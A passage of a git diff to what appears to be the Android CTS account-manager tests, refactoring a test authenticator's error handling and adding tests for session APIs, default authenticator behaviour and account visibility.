             result.putParcelable(AccountManager.KEY_INTENT, intent);
         } else {
             // fill with error
-            // fill with error
-            int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
-            String errorMsg = "Default Error Message";
-            if (options != null) {
-                errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
-                errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
-            }
-            result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
-            result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+            fillDefaultError(result, options);
         }
 
         try {
@@ -204,14 +193,7 @@
 
         } else {
             // fill with error
-            int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
-            String errorMsg = "Default Error Message";
-            if (options != null) {
-                errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
-                errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
-            }
-            result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
-            result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+            fillDefaultError(result, options);
         }
 
         try {
@@ -264,15 +246,7 @@
             result.putParcelable(AccountManager.KEY_INTENT, intent);
         } else {
             // fill with error
-            // fill with error
-            int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
-            String errorMsg = "Default Error Message";
-            if (options != null) {
-                errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
-                errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
-            }
-            result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
-            result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+            fillDefaultError(result, options);
         }
 
         try {
@@ -322,5 +296,111 @@
             }
         }
     }
+
+    /**
+     * Start add account flow of the specified accountType to authenticate user.
+     * This implementation works with AccountManagerUnaffiliatedAuthenticatorTests
+     * to test that portion of the default implementation of the
+     * {@link AccountManager#finishSession} API when implementers of
+     * {@link android.accounts.AbstractAccountAuthenticator} override only
+     * {@link AccountManager#startAddAccountSession} but not
+     * {@link AccountManager#finishSession}.
+     */
+    @Override
+    public Bundle startAddAccountSession(
+            AccountAuthenticatorResponse response,
+            String accountType,
+            String authTokenType,
+            String[] requiredFeatures,
+            Bundle options) throws NetworkErrorException {
+        if (!mAccountType.equals(accountType)) {
+            throw new IllegalArgumentException("Request to the wrong authenticator!");
+        }
+
+        AuthenticatorContentProvider.setTx(new StartAddAccountSessionTx(
+                accountType, authTokenType, requiredFeatures, options));
+
+        String accountName = null;
+        Bundle sessionBundle = null;
+        if (options != null) {
+            accountName = options.getString(Fixtures.KEY_ACCOUNT_NAME);
+            sessionBundle = options.getBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE);
+        }
+
+        Bundle result = new Bundle();
+        if (accountName.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+            result.putString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    Fixtures.ACCOUNT_STATUS_TOKEN_UNAFFILIATED);
+            result.putString(AccountManager.KEY_PASSWORD, "doesn't matter");
+            result.putString(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+        } else {
+            // fill with error
+            fillDefaultError(result, options);
+        }
+
+        return result;
+    }
+
+    /**
+     * Start update credentials flow to re-auth user without updating locally stored
+     * credentials for an account.
+     * This implementation works with AccountManagerUnaffiliatedAuthenticatorTests
+     * to test that portion of the default implementation of the
+     * {@link AccountManager#finishSession} API when implementers of
+     * {@link android.accounts.AbstractAccountAuthenticator} override only
+     * {@link AccountManager#startUpdateCredentialsSession} but not
+     * {@link AccountManager#finishSession}.
+     */
+    @Override
+    public Bundle startUpdateCredentialsSession(
+            AccountAuthenticatorResponse response,
+            Account account,
+            String authTokenType,
+            Bundle options)
+            throws NetworkErrorException {
+
+        if (!mAccountType.equals(account.type)) {
+            throw new IllegalArgumentException("Request to the wrong authenticator!");
+        }
+
+        AuthenticatorContentProvider.setTx(new StartUpdateCredentialsSessionTx(
+                account, authTokenType, options));
+
+        String accountName = null;
+        Bundle sessionBundle = null;
+        if (options != null) {
+            accountName = options.getString(Fixtures.KEY_ACCOUNT_NAME);
+            sessionBundle = options.getBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE);
+        }
+
+        Bundle result = new Bundle();
+        if (accountName.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+            result.putString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    Fixtures.ACCOUNT_STATUS_TOKEN_UNAFFILIATED);
+            result.putString(AccountManager.KEY_PASSWORD, "doesn't matter");
+            result.putString(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+        } else {
+            // fill with error
+            fillDefaultError(result, options);
+        }
+        return result;
+    }
+
+    private void fillDefaultError(Bundle result, Bundle options) {
+        int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
+        String errorMsg = "Default Error Message";
+        if (options != null) {
+            errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
+            errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
+        }
+        result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
+        result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+    }
 }
 
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/TestDefaultAuthenticator.java b/tests/tests/accounts/common/src/android/accounts/cts/common/TestDefaultAuthenticator.java
new file mode 100644
index 0000000..15a60d7
--- /dev/null
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/TestDefaultAuthenticator.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accounts.cts.common;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.accounts.cts.common.tx.AddAccountTx;
+import android.accounts.cts.common.tx.UpdateCredentialsTx;
+import android.content.Context;
+import android.os.Bundle;
+
+
+/**
+ * This authenticator is to test the default implementation of
+ * AbstractAccountAuthenticator.
+ */
+public class TestDefaultAuthenticator extends AbstractAccountAuthenticator {
+    private final String mAccountType;
+    private final Context mContext;
+
+    public TestDefaultAuthenticator(Context context, String accountType) {
+        super(context);
+        mAccountType = accountType;
+        mContext = context;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+        throw new UnsupportedOperationException(
+                "editProperties should not be tested using the TestDefaultAuthenticator");
+    }
+
+    @Override
+    public Bundle addAccount(
+            AccountAuthenticatorResponse response,
+            String accountType,
+            String authTokenType,
+            String[] requiredFeatures,
+            Bundle options) throws NetworkErrorException {
+        if (!mAccountType.equals(accountType)) {
+            throw new IllegalArgumentException("Request to the wrong authenticator!");
+        }
+
+        String accountName = null;
+        if (options != null) {
+            accountName = options.getString(Fixtures.KEY_ACCOUNT_NAME);
+        } else {
+            accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                    + Fixtures.SUFFIX_NAME_FIXTURE;
+        }
+
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, accountName);
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, mAccountType);
+        AuthenticatorContentProvider.setTx(
+                new AddAccountTx(accountType, authTokenType, requiredFeatures, options, result));
+        return result;
+    }
+
+    @Override
+    public Bundle confirmCredentials(
+            AccountAuthenticatorResponse response,
+            Account account,
+            Bundle options) throws NetworkErrorException {
+        throw new UnsupportedOperationException(
+                "confirmCredentials should not be tested using the TestDefaultAuthenticator");
+    }
+
+    @Override
+    public Bundle getAuthToken(
+            AccountAuthenticatorResponse response,
+            Account account,
+            String authTokenType,
+            Bundle options) throws NetworkErrorException {
+        throw new UnsupportedOperationException(
+                "getAuthToken should not be tested using the TestDefaultAuthenticator");
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        throw new UnsupportedOperationException(
+                "getAuthTokenLabel should not be tested using the TestDefaultAuthenticator");
+    }
+
+    @Override
+    public Bundle updateCredentials(
+            AccountAuthenticatorResponse response,
+            Account account,
+            String authTokenType,
+            Bundle options) throws NetworkErrorException {
+        if (!mAccountType.equals(account.type)) {
+            throw new IllegalArgumentException("Request to the wrong authenticator!");
+        }
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
+        AuthenticatorContentProvider.setTx(
+                new UpdateCredentialsTx(account, authTokenType, options, result));
+        return result;
+    }
+
+    @Override
+    public Bundle hasFeatures(
+            AccountAuthenticatorResponse response,
+            Account account,
+            String[] features) throws NetworkErrorException {
+        throw new UnsupportedOperationException(
+                "hasFeatures should not be tested using the TestDefaultAuthenticator");
+    }
+}
+
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.aidl b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.aidl
new file mode 100644
index 0000000..11e30b9
--- /dev/null
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.aidl
@@ -0,0 +1,3 @@
+package android.accounts.cts.common.tx;
+
+parcelable StartAddAccountSessionTx;
\ No newline at end of file
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.java b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.java
new file mode 100644
index 0000000..4077fae
--- /dev/null
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartAddAccountSessionTx.java
@@ -0,0 +1,65 @@
+package android.accounts.cts.common.tx;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class StartAddAccountSessionTx implements Parcelable {
+
+    public static final Parcelable.Creator<StartAddAccountSessionTx> CREATOR =
+            new Parcelable.Creator<StartAddAccountSessionTx>() {
+
+        @Override
+        public StartAddAccountSessionTx createFromParcel(Parcel in) {
+            return new StartAddAccountSessionTx(in);
+        }
+
+        @Override
+        public StartAddAccountSessionTx[] newArray(int size) {
+            return new StartAddAccountSessionTx[size];
+        }
+    };
+
+    public final String accountType;
+    public final String authTokenType;
+    public final List<String> requiredFeatures = new ArrayList<>();
+    public final Bundle options;
+
+    private StartAddAccountSessionTx(Parcel in) {
+        accountType = in.readString();
+        authTokenType = in.readString();
+        in.readStringList(requiredFeatures);
+        options = in.readBundle();
+    }
+
+    public StartAddAccountSessionTx(
+            String accountType,
+            String authTokenType,
+            String[] requiredFeatures,
+            Bundle options) {
+        this.accountType = accountType;
+        this.authTokenType = authTokenType;
+        if (requiredFeatures != null) {
+            for (String feature : requiredFeatures) {
+                this.requiredFeatures.add(feature);
+            }
+        }
+        this.options = options;
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel out, int flags) {
+        out.writeString(accountType);
+        out.writeString(authTokenType);
+        out.writeStringList(requiredFeatures);
+        out.writeBundle(options);
+    }
+}
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.aidl b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.aidl
new file mode 100644
index 0000000..a9bedb2
--- /dev/null
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.aidl
@@ -0,0 +1,3 @@
+package android.accounts.cts.common.tx;
+
+parcelable StartUpdateCredentialsSessionTx;
\ No newline at end of file
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.java b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.java
new file mode 100644
index 0000000..a7574d1
--- /dev/null
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/tx/StartUpdateCredentialsSessionTx.java
@@ -0,0 +1,54 @@
+package android.accounts.cts.common.tx;
+
+import android.accounts.Account;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class StartUpdateCredentialsSessionTx implements Parcelable {
+
+    public static final Parcelable.Creator<StartUpdateCredentialsSessionTx> CREATOR =
+            new Parcelable.Creator<StartUpdateCredentialsSessionTx>() {
+
+                @Override
+                public StartUpdateCredentialsSessionTx createFromParcel(Parcel in) {
+                    return new StartUpdateCredentialsSessionTx(in);
+                }
+
+                @Override
+                public StartUpdateCredentialsSessionTx[] newArray(int size) {
+                    return new StartUpdateCredentialsSessionTx[size];
+                }
+            };
+
+    public final Account account;
+    public final String authTokenType;
+    public final Bundle options;
+
+    private StartUpdateCredentialsSessionTx(Parcel in) {
+        account = in.readParcelable(null);
+        authTokenType = in.readString();
+        options = in.readBundle();
+    }
+
+    public StartUpdateCredentialsSessionTx(
+            Account account,
+            String authTokenType,
+            Bundle options) {
+        this.account = account;
+        this.authTokenType = authTokenType;
+        this.options = options;
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel out, int flags) {
+        out.writeParcelable(account, flags);
+        out.writeString(authTokenType);
+        out.writeBundle(options);
+    }
+}
diff --git a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
new file mode 100644
index 0000000..725e7a5
--- /dev/null
+++ b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
@@ -0,0 +1,304 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accounts.cts;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+import android.accounts.cts.common.AuthenticatorContentProvider;
+import android.accounts.cts.common.Fixtures;
+import android.accounts.cts.common.tx.AddAccountTx;
+import android.accounts.cts.common.tx.UpdateCredentialsTx;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.test.AndroidTestCase;
+
+import java.io.IOException;
+
+/**
+ * Tests for AccountManager and AbstractAccountAuthenticator. This is to test
+ * default implementation of account session api in
+ * {@link android.accounts.AbstractAccountAuthenticator}.
+ * <p>
+ * You can run those unit tests with the following command line:
+ * <p>
+ *  adb shell am instrument
+ *   -e debug false -w
+ *   -e class android.accounts.cts.AbstractAuthenticatorTests
+ * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ */
+public class AbstractAuthenticatorTests extends AndroidTestCase {
+
+    private AccountManager mAccountManager;
+    private ContentProviderClient mProviderClient;
+
+    @Override
+    public void setUp() throws Exception {
+        // bind to the diagnostic service and set it up.
+        mAccountManager = AccountManager.get(getContext());
+        ContentResolver resolver = getContext().getContentResolver();
+        mProviderClient = resolver.acquireContentProviderClient(
+                AuthenticatorContentProvider.AUTHORITY);
+    }
+
+    public void tearDown() throws RemoteException {
+        mProviderClient.release();
+    }
+
+    /**
+     * Tests startAddAccountSession default implementation. An encrypted session
+     * bundle should always be returned without password or status token.
+     */
+    public void testStartAddAccountSessionDefaultImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+
+        AccountManagerFuture<Bundle> future = mAccountManager.startAddAccountSession(
+                Fixtures.TYPE_DEFAULT,
+                null /* authTokenType */,
+                null /* requiredFeatures */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+
+        // Validate that auth token was stripped from result.
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+
+        // Validate that no password nor status token is returned in the result
+        // for default implementation.
+        validateNullPasswordAndStatusToken(result);
+
+        Bundle sessionBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        // Validate session bundle is returned but data in the bundle is
+        // encrypted and hence not visible.
+        assertNotNull(sessionBundle);
+        assertNull(sessionBundle.getString(AccountManager.KEY_ACCOUNT_TYPE));
+    }
+
+
+    /**
+     * Tests startUpdateCredentialsSession default implementation. An encrypted session
+     * bundle should always be returned without password or status token.
+     */
+    public void testStartUpdateCredentialsSessionDefaultImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+
+        AccountManagerFuture<Bundle> future = mAccountManager.startUpdateCredentialsSession(
+                Fixtures.ACCOUNT_DEFAULT,
+                null /* authTokenType */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        // Validate no auth token in result.
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+
+        // Validate that no password nor status token is returned in the result
+        // for default implementation.
+        validateNullPasswordAndStatusToken(result);
+
+        Bundle sessionBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        // Validate session bundle is returned but data in the bundle is
+        // encrypted and hence not visible.
+        assertNotNull(sessionBundle);
+        assertNull(sessionBundle.getString(Fixtures.KEY_ACCOUNT_NAME));
+    }
+
+    /**
+     * Tests finishSession default implementation with default startAddAccountSession.
+     * Only account name and account type should be returned as a bundle.
+     */
+    public void testFinishSessionAndStartAddAccountSessionDefaultImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException,
+            RemoteException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+
+        // First obtain an encrypted session bundle from startAddAccountSession(...) default
+        // implementation.
+        AccountManagerFuture<Bundle> future = mAccountManager.startAddAccountSession(
+                Fixtures.TYPE_DEFAULT,
+                null /* authTokenType */,
+                null /* requiredFeatures */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        // Assert that result contains a non-null session bundle.
+        Bundle escrowBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(escrowBundle);
+
+        // Now call finishSession(...) with the session bundle we just obtained.
+        future = mAccountManager.finishSession(
+                escrowBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        // Validate that parameters are passed to addAccount(...) correctly in default finishSession
+        // implementation.
+        Bundle providerBundle = mProviderClient.call(
+                AuthenticatorContentProvider.METHOD_GET,
+                null /* arg */,
+                null /* extras */);
+        providerBundle.setClassLoader(AddAccountTx.class.getClassLoader());
+        AddAccountTx addAccountTx = providerBundle
+                .getParcelable(AuthenticatorContentProvider.KEY_TX);
+        assertNotNull(addAccountTx);
+
+        // Assert parameters has been passed to addAccount(...) correctly
+        assertEquals(Fixtures.TYPE_DEFAULT, addAccountTx.accountType);
+        assertNull(addAccountTx.authTokenType);
+
+        validateSystemOptions(addAccountTx.options);
+        // Validate options
+        assertNotNull(addAccountTx.options);
+        assertEquals(accountName, addAccountTx.options.getString(Fixtures.KEY_ACCOUNT_NAME));
+        // Validate features.
+        assertEquals(0, addAccountTx.requiredFeatures.size());
+
+        // Assert returned result contains correct account name, account type and null auth token.
+        assertEquals(accountName, result.get(AccountManager.KEY_ACCOUNT_NAME));
+        assertEquals(Fixtures.TYPE_DEFAULT, result.get(AccountManager.KEY_ACCOUNT_TYPE));
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+    }
+
+    /**
+     * Tests finishSession default implementation with default startUpdateCredentialsSession.
+     * Only account name and account type should be returned as a bundle.
+     */
+    public void testFinishSessionAndStartUpdateCredentialsSessionDefaultImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException,
+            RemoteException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+
+        // First obtain an encrypted session bundle from startUpdateCredentialsSession(...) default
+        // implementation.
+        AccountManagerFuture<Bundle> future = mAccountManager.startUpdateCredentialsSession(
+                Fixtures.ACCOUNT_DEFAULT,
+                null /* authTokenTYpe */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        // Assert that result contains a non-null session bundle.
+        Bundle escrowBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(escrowBundle);
+
+        // Now call finishSession(...) with the session bundle we just obtained.
+        future = mAccountManager.finishSession(
+                escrowBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        // Validate that parameters are passed to updateCredentials(...) correctly in default
+        // finishSession implementation.
+        Bundle providerBundle = mProviderClient.call(
+                AuthenticatorContentProvider.METHOD_GET,
+                null /* arg */,
+                null /* extras */);
+        providerBundle.setClassLoader(UpdateCredentialsTx.class.getClassLoader());
+        UpdateCredentialsTx updateCredentialsTx = providerBundle
+                .getParcelable(AuthenticatorContentProvider.KEY_TX);
+        assertNotNull(updateCredentialsTx);
+
+        // Assert parameters has been passed to updateCredentials(...) correctly
+        assertEquals(Fixtures.ACCOUNT_DEFAULT, updateCredentialsTx.account);
+        assertNull(updateCredentialsTx.authTokenType);
+
+        validateSystemOptions(updateCredentialsTx.options);
+        // Validate options
+        assertNotNull(updateCredentialsTx.options);
+        assertEquals(accountName, updateCredentialsTx.options.getString(Fixtures.KEY_ACCOUNT_NAME));
+
+        // Assert returned result contains correct account name, account type and null auth token.
+        assertEquals(accountName, result.get(AccountManager.KEY_ACCOUNT_NAME));
+        assertEquals(Fixtures.TYPE_DEFAULT, result.get(AccountManager.KEY_ACCOUNT_TYPE));
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+    }
+
+    private void validateSystemOptions(Bundle options) {
+        assertNotNull(options.getString(AccountManager.KEY_ANDROID_PACKAGE_NAME));
+        assertTrue(options.containsKey(AccountManager.KEY_CALLER_UID));
+        assertTrue(options.containsKey(AccountManager.KEY_CALLER_PID));
+    }
+
+    private void validateNullPasswordAndStatusToken(Bundle result) {
+        assertNull(result.getString(AccountManager.KEY_PASSWORD));
+        assertNull(result.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested default implementation.
+     * A bundle with boolean false should be returned.
+     */
+    public void testIsCredentialsUpdateSuggestedDefaultImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException,
+            RemoteException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Account account = new Account(accountName, Fixtures.TYPE_DEFAULT);
+        String statusToken = Fixtures.PREFIX_STATUS_TOKEN + accountName;
+
+        AccountManagerFuture<Boolean> future = mAccountManager.isCredentialsUpdateSuggested(
+                account,
+                statusToken,
+                null /* callback */,
+                null /* handler */);
+
+        assertFalse(future.getResult());
+        assertTrue(future.isDone());
+    }
+}
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountAuthenticatorDummyActivity.java b/tests/tests/accounts/src/android/accounts/cts/AccountAuthenticatorDummyActivity.java
new file mode 100644
index 0000000..6c2d29e
--- /dev/null
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountAuthenticatorDummyActivity.java
@@ -0,0 +1,27 @@
+package android.accounts.cts;
+
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.cts.common.Fixtures;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity used by {@link android.accounts.cts.MockAccountAuthenticator} to test the
+ * behavior of {@link AccountManager} when authenticator returns intent.
+ */
+public class AccountAuthenticatorDummyActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        Intent intent = getIntent();
+        AccountAuthenticatorResponse response = intent.getParcelableExtra(Fixtures.KEY_CALLBACK);
+        Intent result = intent.getParcelableExtra(Fixtures.KEY_RESULT);
+        if (response != null) {
+            response.onResult(result.getExtras());
+        }
+        setResult(RESULT_OK, result);
+        finish();
+    }
+}
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 3520d9c..795fcd6 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -24,20 +24,26 @@
 import android.accounts.AuthenticatorException;
 import android.accounts.OnAccountsUpdateListener;
 import android.accounts.OperationCanceledException;
+import android.accounts.cts.common.Fixtures;
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.IBinder;
 import android.os.Looper;
 import android.os.StrictMode;
 import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 
 import java.io.IOException;
+import java.lang.Math;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
@@ -62,6 +68,8 @@
 
     public static final String ACCOUNT_PASSWORD = "android.accounts.cts.account.password";
 
+    public static final String ACCOUNT_STATUS_TOKEN = "android.accounts.cts.account.status.token";
+
     public static final String AUTH_TOKEN_TYPE = "mockAuthTokenType";
     public static final String AUTH_EXPIRING_TOKEN_TYPE = "mockAuthExpiringTokenType";
     public static final String AUTH_TOKEN_LABEL = "mockAuthTokenLabel";
@@ -98,8 +106,21 @@
     public static final Account CUSTOM_TOKEN_ACCOUNT =
             new Account(ACCOUNT_NAME,ACCOUNT_TYPE_CUSTOM);
 
+    // Installed packages to test visibility API.
+    public static final String PACKAGE_NAME_1 = "android.accounts.cts.unaffiliated";
+    public static final String PACKAGE_NAME_PRIVILEGED = "android.accounts.cts"; // authenticator
+
+    public static final Bundle SESSION_BUNDLE = new Bundle();
+    public static final String SESSION_DATA_NAME_1 = "session.data.name.1";
+    public static final String SESSION_DATA_VALUE_1 = "session.data.value.1";
+
+    public static final String ERROR_MESSAGE = "android.accounts.cts.account.error.message";
+
+    public static final String KEY_CIPHER = "cipher";
+    public static final String KEY_MAC = "mac";
+
     private static MockAccountAuthenticator mockAuthenticator;
-    private static final int LATCH_TIMEOUT_MS = 500;
+    private static final int LATCH_TIMEOUT_MS = 1000;
     private static AccountManager am;
 
     public synchronized static MockAccountAuthenticator getMockAuthenticator(Context context) {
@@ -127,6 +148,9 @@
 
         USERDATA_BUNDLE.putString(USERDATA_NAME_1, USERDATA_VALUE_1);
 
+        SESSION_BUNDLE.putString(SESSION_DATA_NAME_1, SESSION_DATA_VALUE_1);
+        SESSION_BUNDLE.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
+
         getMockAuthenticator(mContext);
 
         am = AccountManager.get(mContext);
@@ -189,7 +213,7 @@
 
         try {
             // Delay further execution until expiring tokens can actually expire.
-            Thread.sleep(mockAuthenticator.getTokenDurationMillis() + 1L);
+            Thread.sleep(mockAuthenticator.getTokenDurationMillis() + 50L);
         } catch (InterruptedException e) {
             throw new RuntimeException(e);
         }
@@ -668,24 +692,219 @@
     }
 
     /**
+     * Test updates to account visibility.
+     */
+    public void testSetAccountVisibility()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1, AccountManager.VISIBILITY_VISIBLE);
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_VISIBLE);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1, AccountManager.VISIBILITY_NOT_VISIBLE);
